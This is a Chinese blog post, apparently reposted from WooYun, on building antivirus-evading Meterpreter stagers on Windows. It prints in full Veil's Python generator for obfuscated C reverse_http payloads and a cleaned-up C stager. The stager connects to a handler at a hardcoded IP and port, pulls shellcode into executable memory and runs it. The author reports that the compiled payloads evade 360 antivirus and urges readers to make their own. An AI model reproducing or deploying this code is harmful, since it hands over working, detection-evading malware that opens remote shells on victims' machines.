手工打造Windows下编译的免杀Payload(代码略多,建议直接点击“阅读原文”)

信息安全 3613 Views

Veil对Payload的免杀已经做的很好了,最新的Veil有39个可用的Payload。但是有时候需要使用Windows来完成所有的渗透测试工 作,Linux和Windows切换来切换去很不方便、让我的渣本安装个虚拟机更是浪费资源。因此,在Windows下生成免杀Payload已成为当务 之急。

一开始我选择了在Kali下使用Veil生成Python版的Payload然后再到windows下使用Py2exe或是pyinstaller来编译打包生成可执行文件。但是这种方法让我感到无比蛋疼……

第一:Py2exe不支持64位的python(我的系统中已经安装了python 2.7 X64以及各种python的开发工具,卸载了再安装、配置是一件令人头痛的事);

第二:pyinstaller虽然支持使用64位的python打包,但是打包出来的程序也是64位的(这让32位的系统情何以堪);第三:编译打包后的Payload奇大无比(大约3-7MB)打包时可以选择生成一个文件(所有运行所须的库及dll都打包到exe中),也可以选择生成多个文件(Payload和所需的库分开。Payload大约1M多,剩下的十几个文件又让人感到头痛,难道让我一个一个上传不成)。最后虽然用这种方法获得了免杀的Payload,但是还是不得不放弃这种方法。

既然无捷径可走了,那还是静下心来去翻一翻Veil吧。下载Veil,在Veil根目录下的\modules\payloads文件件中看到了生成各种免杀Payload的.py文件。共7类:

auxiliary

c

cs

native

powershell

python

ruby

先从比较熟悉的“c”看起吧,在\modules\payloads\c\meterpreter\下有4个用来生成c代码的py文件。

rev_http.py

rev_http_service.py

rev_tcp.py

rev_tcp_service.py

打开rev_http.py查看:

"""

Obfuscated, pure C windows/meterpreter/reverse_http.

Implements various randomized string processing functions in an

attempt to obfuscate the call tree.

Also compatible with Cobalt-Strike's Beacon.

Original reverse_tcp inspiration from https://github.com/rsmudge/metasploit-loader

Module built by @harmj0y

"""

import random

from modules.common import helpers

class Payload:

def __init__(self):

# required options

self.shortname = "meter_rev_http"

self.description = "pure windows/meterpreter/reverse_http stager, no shellcode"

self.language = "c"

self.extension = "c"

self.rating = "Excellent"

# optional

# options we require user ineraction for- format is {Option : [Value, Description]]}

self.required_options = {"LHOST" : ["", "IP of the metasploit handler"],

"LPORT" : ["8080", "Port of the metasploit handler"],

"compile_to_exe" : ["Y", "Compile to an executable"]}

def generate(self):

sumvalue_name = helpers.randomString()

checksum_name = helpers.randomString()

winsock_init_name = helpers.randomString()

punt_name = helpers.randomString()

wsconnect_name = helpers.randomString()

# the real includes needed

includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>"]

# max length string for obfuscation

global_max_string_length = 10000

max_string_length = random.randint(100,global_max_string_length)

max_num_strings = 10000

# TODO: add in more string processing functions

randName1 = helpers.randomString() # reverse()

randName2 = helpers.randomString() # doubles characters

stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)),

(randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2))

]

random.shuffle(stringModFunctions)

# obfuscation "logical nop" string generation functions

randString1 = helpers.randomString(50)

randName1 = helpers.randomString()

randVar1 = helpers.randomString()

randName2 = helpers.randomString()

randVar2 = helpers.randomString()

randVar3 = helpers.randomString()

randName3 = helpers.randomString()

randVar4 = helpers.randomString()

randVar5 = helpers.randomString()

stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])),

(randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)),

(randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5))

]

random.shuffle(stringGenFunctions)

# obfuscation – add in our fake includes

fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>",

"#include <limits.h>", "#include <assert.h>"]

t = random.randint(1,7)

for x in xrange(1, random.randint(1,7)):

includes.append(fake_includes[x])

# shuffle up real/fake includes

random.shuffle(includes)

code = "#define _WIN32_WINNT 0x0500\n"

code += "#include <winsock2.h>\n"

code += "\n".join(includes) + "\n"

#string mod functions

code += stringModFunctions[0][1] + "\n"

code += stringModFunctions[1][1] + "\n"

# build the sumValue function

string_arg_name = helpers.randomString()

retval_name = helpers.randomString()

code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name)

code += "int %s=0; int i;" %(retval_name)

code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" %(string_arg_name, retval_name, string_arg_name)

code += "return (%s %% 256);}\n" %(retval_name)

# build the winsock_init function

wVersionRequested_name = helpers.randomString()

wsaData_name = helpers.randomString()

code += "void %s() {" % (winsock_init_name)

code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name)

code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name)

# first logical nop string function

code += stringGenFunctions[0][1] + "\n"

# build punt function

my_socket_name = helpers.randomString()

code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name)

code += "closesocket(%s);" %(my_socket_name)

code += "WSACleanup();"

code += "exit(1);}\n"

# second logical nop string function

code += stringGenFunctions[1][1] + "\n"

# build the reverse_http uri checksum function

randchars = ''.join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",62))

characters_name = helpers.randomString()

string_var_name = helpers.randomString()

code += "char* %s(){" %(checksum_name)

code += "srand (time(NULL));int i;"

code += "char %s[] = \"%s\";" %(characters_name, randchars)

code += "char* %s = malloc(5); %s[4] = 0;" %(string_var_name, string_var_name)

code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" %(string_var_name, characters_name, characters_name)

code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name)

code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name,string_var_name,string_var_name)

# third logical nop string function

code += stringGenFunctions[2][1] + "\n"

# build wsconnect function

target_name = helpers.randomString()

sock_name = helpers.randomString()

my_socket_name = helpers.randomString()

code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name)

code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name)

code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name);

code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0])

code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name)

code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name)

code += "%s.sin_family = AF_INET;" %(sock_name)

code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32))

code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name)

code += "return %s;}\n" %(my_socket_name)

# build main() code

size_name = helpers.randomString()

buffer_name = helpers.randomString()

function_name = helpers.randomString()

my_socket_name = helpers.randomString()

count_name = helpers.randomString()

request_buf_name = helpers.randomString()

buf_counter_name = helpers.randomString()

bytes_read_name = helpers.randomString()

# obfuscation stuff

char_array_name_1 = helpers.randomString()

number_of_strings_1 = random.randint(1,max_num_strings)

char_array_name_2 = helpers.randomString()

number_of_strings_2 = random.randint(1,max_num_strings)

char_array_name_3 = helpers.randomString()

number_of_strings_3 = random.randint(1,max_num_strings)

# main method code

code += "int main(int argc, char * argv[]) {"

code += "char * %s; int i;" %(buffer_name)

# obfuscation

code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1)

# malloc our first string obfuscation array

code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length))

# call the winsock init function

code += "%s();" %(winsock_init_name)

# obfuscation

code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2)

# create our socket

code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name)

# malloc our second string obfuscation array

code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length))

# build and send the HTTP request to the handler

code += "char %s[200];" %(request_buf_name)

code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" %(request_buf_name, self.required_options["LHOST"][0], self.required_options["LPORT"][0], checksum_name)

code += "send(%s,%s, strlen( %s ),0);" %(my_socket_name, request_buf_name, request_buf_name)

code += "Sleep(300);"

# TODO: obfuscate/randomize the size of the page allocated

code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name)

code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3)

# first string obfuscation method

code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0])

# read the full server response into the buffer

code += "char * %s = %s;" % (buf_counter_name,buffer_name)

code += "int %s; do {" % (bytes_read_name)

code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name)

code += "%s += %s; }" % (buf_counter_name,bytes_read_name)

code += "while ( %s > 0 );" % (bytes_read_name)

# malloc our third string obfuscation array

code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length))

# second string obfuscation method

code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0])

# real code

code += "closesocket(%s); WSACleanup();" %(my_socket_name)

code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" %(buffer_name)

# third string obfuscation method (never called)

code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0])

code += "return 0;}\n"

return code

可以看到generate()最终返回了混淆后的c代码,在生成的过程中LHOST和LPORT(默认8080)由用户定义(上面代码加粗的部分)。

c代码中几乎所有的变量都使用helpers.randomString()来随机生成,代码中的整型数字则使helpers.obfuscateNum()来进行混淆(例如:5会写成2*2+1或是5*1+0)。

通过还原变量名称、整理代码,最终我得到了c_rev_http的源码。

整理后:

#define _WIN32_WINNT 0x0500

#include <winsock2.h>

#include <time.h>

#include <time.h>

#include <stdio.h>

#include <windows.h>

#include <string.h>

#include <stdlib.h>

char* Name2(char* s)

{

char *result = malloc(strlen(s)*2+1);

int i;

for (i=0; i<strlen(s)*2+1; i++)

{

result[i] = s[i/2];

result[i+1]=s[i/2];

}

result[i] = '\0';

return result;

}

char* Name1(const char *t)

{

int length= strlen(t);

int i;

char* t2 = (char*)malloc((length+1) * sizeof(char));

for(i=0;i<length;i++)

{

t2[(length-1)-i]=t[i];

}

t2[length] = '\0';

return t2;

}

int sumvalue(char string_arg[])

{

int retval=0;

int i;

for (i=0; i<strlen(string_arg);++i)

retval += string_arg[i];

return (retval % 256);

}

void winsock_init()

{

WORD wVersionRequested = MAKEWORD((0*4+2), (0*4+2));

WSADATA wsaData;

if (WSAStartup(wVersionRequested, &wsaData) < 0)

{

WSACleanup();

exit(1);

}

}

char* Name1()

{

char *Var1 = Name2("String1");

return strstr( Var1, "i" );

}

void punt(SOCKET my_socket)

{

closesocket(my_socket);

WSACleanup();

exit(1);

}

char* Name2()

{

char Var2[9509], Var3[9509/2];

strcpy(Var2,"kaJYJXmReftagATDFOufqYAGQRnBQtXMmXKQmkCvOzNrkKTARk");

strcpy(Var3,"CmSLJRpqtBItijCukAADNDkwhLdUHHEzzjCNwrFPHinTjiWhBm");

return Name1(strcat( Var2, Var3));

}

char* checksum()

{

srand (time(NULL));

int i;

char characters[] = "S3bwPoskmAy2zCBLxI089eGNEv6FMYZc74QnrljgUtiTahuJKfXqOpRDW1VdH5";

char* string_var = malloc(5);

string_var[4] = 0;

while (1<2)

{

for(i=0;i<3;++i)

{

string_var[i] = characters[rand() % (sizeof(characters)-1)];

}

for(i=0;i<sizeof(characters);i++)

{

string_var[3] = characters[i];

if (sumvalue(string_var) == 92) return string_var;

}

}

return 0;

}

char* Name3()

{

char Var4[9509] = "ZcFFymUJbCDPZbeUvuOMXuZwmNpZEpMwpnKvyfEqXUyfHJVmxp";

char *Var5 = strupr(Var4);

return strlwr(Var5);

}

SOCKET wsconnect()

{

struct hostent * target;

struct sockaddr_in sock;

SOCKET my_socket;

my_socket = socket(AF_INET, SOCK_STREAM, 0);

if (my_socket == INVALID_SOCKET)

punt(my_socket);

target = gethostbyname("192.168.199.124");//rev_http IP

if (target == NULL)

punt(my_socket);

memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);

sock.sin_family = AF_INET;

sock.sin_port = htons(9527);//rev_http Port

if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )

punt(my_socket);

return my_socket;

}

int main(int argc, char * argv[])

{

char * buffer;

int i;

char* char_array1[8776];

for (i = 0; i < 8776; ++i)

char_array1[i] = malloc (9719);

winsock_init();

char* char_array2[118];

SOCKET my_socket = wsconnect();

for (i = 0; i < 118; ++i)

char_array2[i] = malloc (9721);

char request_buf[200];

sprintf(request_buf, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: 192.168.199.124:9527\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\r\n\r\n", checksum());

send(my_socket,request_buf, strlen( request_buf ),0);

Sleep(300);

buffer = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

char* char_array3[8279];

for (i=0; i<8776; ++i)

{

strcpy(char_array1[i], Name1());

}

char * buf_counter = buffer;

int bytes_read;

do

{

bytes_read = recv(my_socket, buf_counter, 1024, 0);

buf_counter += bytes_read;

}

while ( bytes_read > 0 );

for (i = 0; i < 8279; ++i)

char_array3[i] = malloc (9549);

for (i=0; i<118; ++i)

{

strcpy(char_array2[i], Name2());

}

closesocket(my_socket);

WSACleanup();

((void (*)())strstr(buffer, "\r\n\r\n") + 4)();

for (i=0; i<8279; ++i)

{

strcpy(char_array3[i], Name3());

}

return 0;

}

因上面的代码是使用GNU/GCC来编译的,所以在windows下直接使用vc6编译会报一大堆错误。没办法,拿起大学时代那本《C语言程序设计与应用教程》回顾了半天,修改代码,最终通过编译。

编译后体积185kb(可加壳缩小体积),虽然比metasploit生成的要大,但已经满足要求。

使用同样的方法,依次还原了c_rev_http_service、c_rev_tcp、c_rev_tcp_service、cs_rev_http、cs_rev_https、cs_rev_tcp的源码(powershell和ruby的还没有看)。编译生成对应的payload比较一下体积并测试免杀和连接效果:

体积对比:

可见C#代码编译后的Payload更小,竟然只有5kb…… cs_rev_tcp使用了三个不同版本的.NET csc编译。

免杀效果:(360安全卫士最新木马库查杀)连接测试:

c_rev_tcp

c_rev_http

cs_rev_tcp

cs_rev_http

cs_rev_https

想在windows上获得msf免杀payload的同学赶快行动起来吧!

[via@wooyun zone]

(点击“阅读原文”可以进行评论或浏览更多文章喔,还可直接回复订阅号,告诉妹子你的看法()~*

如未说明则本站原创,转载请注明出处:NULL » 手工打造Windows下编译的免杀Payload(代码略多,建议直接点击“阅读原文”)